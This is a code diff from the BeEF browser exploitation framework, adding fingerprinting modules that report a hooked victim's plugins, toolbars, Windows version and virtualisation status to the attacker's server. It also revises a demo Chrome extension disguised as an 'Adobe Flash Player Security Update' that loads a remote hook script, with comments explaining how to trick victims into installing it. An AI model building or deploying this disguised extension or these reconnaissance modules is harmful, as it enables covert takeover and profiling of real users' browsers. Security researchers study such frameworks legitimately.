-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_cookies_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the list of plugins installed in the browser
-    browser_plugins = BD.get(self.targetsession, 'BrowserPlugins')
-    if not browser_plugins.nil? and not browser_plugins.empty?
-      encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
-      encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
-      
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_browser_plugins_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the System Platform
-    system_platform = BD.get(self.targetsession, 'SystemPlatform')
-    if not system_platform.nil?
-      encoded_system_platform = CGI.escapeHTML(system_platform)
-      encoded_system_platform_hash = { 'System Platform' => encoded_system_platform }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_system_platform_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie screen size and color depth
-    screen_size = BD.get(self.targetsession, 'ScreenSize')
-    if not screen_size.nil?
-      
-      screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = screen_size_hash['width']
-      height = screen_size_hash['height']
-      colordepth = screen_size_hash['colordepth']
-
-      # construct the string to be displayed in the details tab
-      encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
-      encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
-      
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_screen_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie browser window size
-    window_size = BD.get(self.targetsession, 'WindowSize')
-    if not window_size.nil?
-
-      window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = window_size_hash['width']
-      height = window_size_hash['height']
-
-      # construct the string to be displayed in the details tab
-      encoded_window_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s)
-      encoded_window_size_hash = { 'Window Size' => encoded_window_size }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_window_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for JavaEnabled
-    java_enabled = BD.get(self.targetsession, 'JavaEnabled')
-    if not java_enabled.nil?
-      encoded_java_enabled = CGI.escapeHTML(java_enabled)
-      encoded_java_enabled_hash = { 'Java Enabled' => encoded_java_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_java_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for VBScriptEnabled
-    vbscript_enabled = BD.get(self.targetsession, 'VBScriptEnabled')
-    if not vbscript_enabled.nil?
-      encoded_vbscript_enabled = CGI.escapeHTML(vbscript_enabled)
-      encoded_vbscript_enabled_hash = { 'VBScript Enabled' => encoded_vbscript_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_vbscript_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasFlash
-    has_flash = BD.get(self.targetsession, 'HasFlash')
-    if not has_flash.nil?
-      encoded_has_flash = CGI.escapeHTML(has_flash)
-      encoded_has_flash_hash = { 'Has Flash' => encoded_has_flash }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_flash_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasPhonegap
-    has_phonegap = BD.get(self.targetsession, 'HasPhonegap')
-    if not has_phonegap.nil?
-      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
-      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_phonegap_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasGoogleGears
-    has_googlegears = BD.get(self.targetsession, 'HasGoogleGears')
-    if not has_googlegears.nil?
-      encoded_has_googlegears = CGI.escapeHTML(has_googlegears)
-      encoded_has_googlegears_hash = { 'Has GoogleGears' => encoded_has_googlegears }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_googlegears_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasWebSocket
-    has_web_socket = BD.get(self.targetsession, 'HasWebSocket')
-    if not has_web_socket.nil?
-      encoded_has_web_socket = CGI.escapeHTML(has_web_socket)
-      encoded_has_web_socket_hash = { 'Has GoogleGears' => encoded_has_web_socket }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_web_socket_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasActiveX
-    has_activex = BD.get(self.targetsession, 'HasActiveX')
-    if not has_activex.nil?
-      encoded_has_activex = CGI.escapeHTML(has_activex)
-      encoded_has_activex_hash = { 'Has ActiveX' => encoded_has_activex }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_activex_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasSessionCookies
-    has_session_cookies = BD.get(self.targetsession, 'hasSessionCookies')
-    if not has_session_cookies.nil?
-      encoded_has_session_cookies = CGI.escapeHTML(has_session_cookies)
-      encoded_has_session_cookies_hash = { 'Session Cookies' => encoded_has_session_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_session_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasPersistentCookies
-    has_persistent_cookies = BD.get(self.targetsession, 'hasPersistentCookies')
-    if not has_persistent_cookies.nil?
-      encoded_has_persistent_cookies = CGI.escapeHTML(has_persistent_cookies)
-      encoded_has_persistent_cookies_hash = { 'Persistent Cookies' => encoded_has_persistent_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_persistent_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
     summary_grid_hash
   end
-  
+
   attr_reader :targetsession
   attr_reader :targetid
   attr_reader :targetip
   attr_reader :cmd
-  
+
   protected
-  
+
   attr_writer :targetsession
   attr_writer :targetid
   attr_writer :targetip

extensions/demos/flash_update_chrome_extension/background.js

@@ -6,5 +6,6 @@
 
 d=document;
 e=d.createElement('script');
-e.src="http://127.0.0.1:3000/hook.js";
-d.body.appendChild(e); 
+e.src="https://192.168.0.2/hook.js";
+d.body.appendChild(e);
+

extensions/demos/flash_update_chrome_extension/manifest.json

@@ -1,26 +1,34 @@
 {
-  // Simple chrome extension 
-  // Just loads beef into the extension context.
-  // 
-  // You may need to set the IP address of the beef hook in background.js
-  // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/ 
+    // Simple chrome extension, by antisnatchor and Mike Haworth
+    // Just loads BeEF into the extension context.
+    //
+    // 1. You need to set the IP address (better the domain) of the BeEF hook in background.js
+    // 2. The BeEF hook address must be == to the CSP allowed domain here below. BeEF must listen on port 443, with TLS enabled.
+    //    Only localhost origin is allowed to load scripts from non HTTPS resources. For anything else, you must use HTTPS.
+    // 4. You need to upload the extension, as a zip file, to Google Chrome store.
+    //    In latest versions of Chrome (>= 21) you can't install an extension from a different location anymore,
+    //    so the extension can't be served by BeEF anymore. You need to trick the victim to install
+    //    the extension from Google Chrome store.
+    //
 
-  "name": "Adobe Flash Player",
-  "version": "11.2.202.235",
-  "description": "Introduces vulnerabilites into web browsers",
-  "background": {
-    "scripts": ["background.js"]
-  },
-  "icons": { 
-    "16": "icon16.png",
-    "48": "icon48.png",
-    "128": "icon128.png" 
-  },
-  "permissions": [
-	"tabs", 
-	"http://*/*", 
-	"https://*/*",
-  "file://*/*",
-  "cookies"
-  ]
+    "name": "Adobe Flash Player Security Update",
+    "manifest_version": 2,
+    "version": "11.5.502.149",
+    "description": "Updates Adobe Flash Player with latest securty updates",
+    "background": {
+        "scripts": ["background.js"]
+    },
+    "content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
+    "icons": {
+        "16": "icon16.png",
+        "48": "icon48.png",
+        "128": "icon128.png"
+    },
+    "permissions": [
+        "tabs",
+        "http://*/*",
+        "https://*/*",
+        "file://*/*",
+        "cookies"
+    ]
 }

extensions/metasploit/config.yaml

@@ -33,6 +33,6 @@ beef:
               {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
               {os: 'bt5', path: '/opt/framework3/msf3/'},
               {os: 'backbox', path: '/opt/metasploit3/msf3/'},
-              {os: 'win', path: 'c:\metasploit\msf3\'},
+              {os: 'win', path: 'c:\\metasploit-framework\\'},
               {os: 'custom', path: ''}
             ]

extensions/metasploit/rpcclient.rb

@@ -36,10 +36,12 @@ module Metasploit
 			#auto start msfrpcd
 			if (@config['auto_msfrpcd'] || false)
 				launch_msf = ''
+				msf_os = ''
 				@config['msf_path'].each do |path|
 					if File.exist?(path['path'] + 'msfrpcd')
 						launch_msf = path['path'] + 'msfrpcd'
 						print_info 'Found msfrpcd: ' + launch_msf
+						msf_os = path['os'] 
 					end
 				end
 				if (launch_msf.length > 0)
@@ -53,32 +55,35 @@ module Metasploit
 					end
 
 					msf_url += opts[:host] + ':' + opts[:port].to_s() + opts[:uri]
+					if msf_os.eql? "win"
+						print_info 'Metasploit auto-launch is currently not supported in BeEF on MS Windows.'
+					else	
+						child = IO.popen([launch_msf, "-f", argssl, "-P" , @config['pass'], "-U" , @config['user'], "-u" , opts[:uri], "-a" , opts[:host], "-p" , opts[:port].to_s()], 'r+')
 				
-					child = IO.popen([launch_msf, "-f", argssl, "-P" , @config['pass'], "-U" , @config['user'], "-u" , opts[:uri], "-a" , opts[:host], "-p" , opts[:port].to_s()], 'r+')
-				
-					print_info 'Attempt to start msfrpcd, this may take a while. PID: ' + child.pid.to_s
+						print_info 'Attempt to start msfrpcd, this may take a while. PID: ' + child.pid.to_s
 
-					#Give daemon time to launch
-					#poll and giveup after timeout 
-					retries = @config['auto_msfrpcd_timeout']
-					uri = URI(msf_url)
-					http = Net::HTTP.new(uri.host, uri.port)
+						#Give daemon time to launch
+						#poll and giveup after timeout 
+						retries = @config['auto_msfrpcd_timeout']
+						uri = URI(msf_url)
+						http = Net::HTTP.new(uri.host, uri.port)
 
-					if opts[:ssl]
-						http.use_ssl = true
-					end
-					if not @config['ssl_verify']
-						http.verify_mode = OpenSSL::SSL::VERIFY_NONE
-					end
-					headers = {
-    						'Content-Type' => "binary/message-pack"
-					}
-					path = uri.path.empty? ? "/" : uri.path
-					begin
-						sleep 1
-						code = http.head(path, headers).code.to_i
-					rescue Exception
-						retry if (retries -= 1) > 0
+						if opts[:ssl]
+							http.use_ssl = true
+						end
+						if not @config['ssl_verify']
+							http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+						end
+						headers = {
+    							'Content-Type' => "binary/message-pack"
+						}
+						path = uri.path.empty? ? "/" : uri.path
+						begin
+							sleep 1
+							code = http.head(path, headers).code.to_i
+						rescue Exception
+							retry if (retries -= 1) > 0
+						end
 					end
 				else
 					print_error 'Please add a custom path for msfrpcd to the config-file.'

modules/browser/browser_fingerprinting/command.js

@@ -35,6 +35,7 @@ beef.execute(function() {
 		new Array("Firefox","7+","resource:///chrome/browser/content/browser/aboutHome-snippet1.png"),
 		new Array("Firefox","8+","resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png"),
 		new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),
+		new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),
 		new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")
 	);
 

modules/browser/detect_activex/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasActiveX())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "activex="+result);
+
+});
+

modules/browser/detect_activex/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_activex:
+            enable: true
+            category: "Browser"
+            name: "Detect ActiveX"
+            description: "This module will check if the browser has ActiveX support."
+            authors: ["bcoles"]
+            target:
+                user_notify: ["IE"]
+                not_working: ["All"]

modules/browser/detect_activex/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_activex < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['activex'] = @datastore['activex']
+		save content
+	end
+
+end

modules/browser/detect_extensions/command.js

@@ -1086,15 +1086,24 @@ beef.execute(function() {
                         for (var i=0; i<chrome_extensions.length; i++) {
                                 detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
                         }
-                } catch(e) {}
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed');
+                }
         } else if(beef.browser.isFF()) {
                 try {
                         for (var i in firefox_extensions) {
                                 detect_firefox_extension(firefox_extensions[i], i);
                         }
-                } catch(e) {}
-        } else {
-        };
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed');
+                }
+        } else if(beef.browser.isIE()) {
+                try {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported');
+                } catch(e) {
+                        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed');
+                }
+        }
 
 });
 

modules/browser/detect_extensions/config.yaml

@@ -8,8 +8,8 @@ beef:
         detect_extensions:
             enable: true
             category: "Browser"
-            name: "Detect Chrome/Firefox Extensions"
-            description: "This module detects Extensions in Chrome and Firefox "
+            name: "Detect Extensions"
+            description: "This module detects extensions installed in Google Chrome and Mozilla Firefox."
             authors: ["koto", "bcoles", "nbblrr"]
             target:
                 working:

modules/browser/detect_quicktime/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasQuickTime())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "quicktime="+result);
+
+});
+

modules/browser/detect_quicktime/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_quicktime:
+            enable: true
+            category: "Browser"
+            name: "Detect QuickTime"
+            description: "This module will check if the browser has Quicktime support."
+            authors: ["bcoles"]
+            target:
+                working: ["All"]

modules/browser/detect_quicktime/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_quicktime < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['quicktime'] = @datastore['quicktime']
+		save content
+	end
+
+end

modules/browser/detect_realplayer/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasRealPlayer() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "realplayer="+result);
+
+});
+

modules/browser/detect_realplayer/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_realplayer:
+            enable: true
+            category: "Browser"
+            name: "Detect RealPlayer"
+            description: "This module will check if the browser has RealPlayer support."
+            authors: ["gcattani"]
+            target:
+                working: ["All"]

modules/browser/detect_realplayer/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_realplayer < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['realplayer'] = @datastore['realplayer']
+		save content
+	end
+
+end

modules/browser/detect_silverlight/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasSilverlight())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "silverlight="+result);
+
+});
+

modules/browser/detect_silverlight/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_silverlight:
+            enable: true
+            category: "Browser"
+            name: "Detect Silverlight"
+            description: "This module will check if the browser has Silverlight support."
+            authors: ["bcoles"]
+            target:
+                working: ["ALL"]

modules/browser/detect_silverlight/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_silverlight < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['silverlight'] = @datastore['silverlight']
+		save content
+	end
+
+end

modules/browser/detect_toolbars/command.js

@@ -0,0 +1,61 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+	
+	var toolbar_ua = new Array (
+		new Array (" Alexa Toolbar", " Alexa"),
+		new Array (" AskTbS-PV", " Ask"),
+		new Array (" BRI", " Bing"),
+		new Array (" GTB", " Google"),
+		new Array (" SU ", " Stumble Upon")
+		)
+		
+	var toolbar_id = new Array (
+		new Array ("AlexaCustomScriptId", " Alexa")
+		)	
+
+	var result = '';
+	var separator = ", ";
+    
+	// CHECK USER-AGENT
+	for (var i = 0; i < toolbar_ua.length; i++) {
+		
+		var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );
+		
+		if ( agentRegex.exec(navigator.userAgent) ) {
+			
+			result += toolbar_ua[i][1] + separator;			
+			
+		}
+	}
+	
+	// CHECK ELEMENT ID (DOM)
+	for (var i = 0; i < toolbar_id.length; i++) {
+		
+		var element =  document.getElementById( toolbar_id[i][0] );
+		
+		if ( typeof(element) != 'undefined' && element != null ) {
+			
+			result += toolbar_id[i][1] + separator;
+			
+		}
+	}
+
+	// ENDING
+	if ( result != '' ) {
+		
+		result = result.slice(0, -separator.length);
+		
+	} else if ( result == '' ) {
+		
+		result = " no toolbars detected";
+		
+	}
+	
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);	
+	
+});

modules/browser/detect_toolbars/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        Detect_toolbars:
+            enable: true
+            category: "Browser"
+            name: "Detect Toolbars"
+            description: "Detects which browser toolbars are installed."
+            authors: ["gcattani"]
+            target:
+                working: ["All"]

modules/browser/detect_toolbars/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_toolbars < BeEF::Core::Command
+  
+  def post_execute
+    content = {}
+    content['toolbars'] = @datastore['toolbars']
+    save content
+  end
+
+end

modules/browser/detect_vlc/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = ( beef.browser.hasVLC() )? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "vlc="+result);
+
+});
+

modules/browser/detect_vlc/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_vlc:
+            enable: true
+            category: "Browser"
+            name: "Detect VLC"
+            description: "This module will check if the browser has VLC plugin."
+            authors: ["nbblrr"]
+            target:
+                working: ["IE", "FF", "C"]

modules/browser/detect_vlc/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_vlc < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['vlc'] = @datastore['vlc']
+		save content
+	end
+
+end

modules/debug/test_http_bind_raw/command.js

@@ -0,0 +1,11 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=mounted to /beef');
+
+});

modules/debug/test_http_bind_raw/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        test_http_bind_raw:
+            enable: true
+            category: "Debug"
+            name: "Test HTTP Bind Raw"
+            description: "Test the HTTP 'bind_raw' handler."
+            authors: ["bcoles"]
+            target:
+                 working: ["All"]

modules/debug/test_http_bind_raw/module.rb

@@ -0,0 +1,20 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Test_http_bind_raw < BeEF::Core::Command
+
+  def pre_send
+    configuration = BeEF::Core::Configuration.instance
+    xss_hook_url = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/basic.html"
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/html','beef'=>xss_hook_url}, 'hello world!', '/beef', -1)
+  end
+
+  def post_execute
+    content = {}
+    content['Result'] = @datastore['result']
+    save content
+  end
+
+end

modules/debug/test_http_redirect/command.js

@@ -0,0 +1,11 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=mounted to /redirect');
+
+});

modules/debug/test_http_redirect/config.yaml

@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        test_http_redirect:
+            enable: true
+            category: "Debug"
+            name: "Test HTTP Redirect"
+            description: "Test the HTTP 'redirect' handler."
+            authors: ["bcoles"]
+            target:
+                 working: ["All"]

modules/debug/test_http_redirect/module.rb

@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Test_http_redirect < BeEF::Core::Command
+
+  def pre_send
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_redirect('http://beefproject.com', '/redirect')
+  end
+
+  def post_execute
+    content = {}
+    content['Result'] = @datastore['result']
+    save content
+  end
+
+end

modules/host/detect_vm/command.js

@@ -12,25 +12,29 @@ beef.execute(function() {
 
 	var result;
 	var dimensions = {
-	'320, 200' : '',
-	'320, 240' : '',
-	'640, 480' : '',
-	'800, 480' : '',
-	'768, 576' : '',
-	'854, 480' : '',
-	'1024, 600' : '',
-	'1152, 768' : '',
-	'800, 600' : '',
-	'1024, 768' : '',
-	'1280, 854' : '',
-	'1280, 960' : '',
+	'320, 200'   : '',
+	'320, 240'   : '',
+	'320, 480'   : '', // iPhone 4S and earlier
+	'480, 320'   : '', // iPhone 4S and earlier
+	'640, 480'   : '',
+	'640, 1136'  : '', // iPhone 5
+	'800, 480'   : '',
+	'768, 576'   : '',
+	'854, 480'   : '',
+	'1024, 600'  : '',
+	'1136, 640'  : '', // iPhone 5
+	'1152, 768'  : '',
+	'800, 600'   : '',
+	'1024, 768'  : '',
+	'1280, 854'  : '',
+	'1280, 960'  : '',
 	'1280, 1024' : '',
-	'1280, 720' : '',
-	'1280, 768' : '',
-	'1366, 768' : '',
-	'1280, 800' : '',
-	'1440, 900' : '',
-	'1440, 960' : '',
+	'1280, 720'  : '',
+	'1280, 768'  : '',
+	'1366, 768'  : '',
+	'1280, 800'  : '',
+	'1440, 900'  : '',
+	'1440, 960'  : '',
 	'1400, 1050' : '',
 	'1600, 1200' : '',
 	'2048, 1536' : '',
@@ -46,11 +50,15 @@ beef.execute(function() {
 
 	if (dimensions[wh] != undefined) {
 		result = "Not virtualized";
+	} else if (beef.hardware.isVirtualMachine()) {
+		result = "Virtualized";
+	} else if (beef.hardware.isMobilePhone()) {
+		result = "Not virtualized";
 	} else {
 		result = "This host is virtualized or uses an unrecognized screen resolution";
 	}
 
-	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result);
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result+"&w="+screen.width+"&h="+screen.height);
 
 });
 

modules/host/os_fingerprinting/command.js

@@ -0,0 +1,44 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var os_version = new Array;
+	var dom = document.createElement('b');
+
+	Array.prototype.unique = function() {
+		var o = {}, i, l = this.length, r = [];
+		for(i=0; i<l;i+=1) o[this[i]] = this[i];
+		for(i in o) r.push(o[i]);
+		return r;
+	};
+
+	parse_os_details = function() {
+		if (!os_version.length) os_version[0] = "unknown";
+		beef.net.send("<%= @command_url %>", <%= @command_id %>, "windows_nt_version="+os_version.unique());
+	};
+
+	// OS fingerprints // in the form of: "URI","NT version(s)"
+	var fingerprints = new Array(
+		new Array("5.1+","res://IpsmSnap.dll/wlcm.bmp"),
+		new Array("5.1+","res://wmploc.dll/257/album_0.png"),
+		new Array("5.1-6.0","res://wmploc.dll/23/images\amg-logo.gif"),
+		new Array("5.1-6.1","res://wmploc.dll/wmcomlogo.jpg"),
+		new Array("6.0+","res://wdc.dll/error.gif")
+	);
+
+	for (var i=0; i<fingerprints.length; i++) {
+		var img    = new Image;
+		img.name   = fingerprints[i][0];
+		img.src    = fingerprints[i][1];
+		img.onload = function() { os_version.push(this.name); dom.removeChild(this); }
+		dom.appendChild(img);
+	}
+
+	setTimeout('parse_os_details();', 2000);
+
+});
+

modules/host/os_fingerprinting/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        os_fingerprinting:
+            enable: true
+            category: "Host"
+            name: "Fingerprint Operating System"
+            description: "This module attempts to fingerprint the Windows Operating System version using the 'res' protocol handler for Internet Explorer. It loads images from DLLs specific to different versions of Windows. This method does not rely on JavaScript objects which may have been modified by the user or browser compatibility mode."
+            authors: ["bcoles"]
+            target:
+                working: IE
+                not_working: ALL

modules/host/os_fingerprinting/module.rb

@@ -0,0 +1,20 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
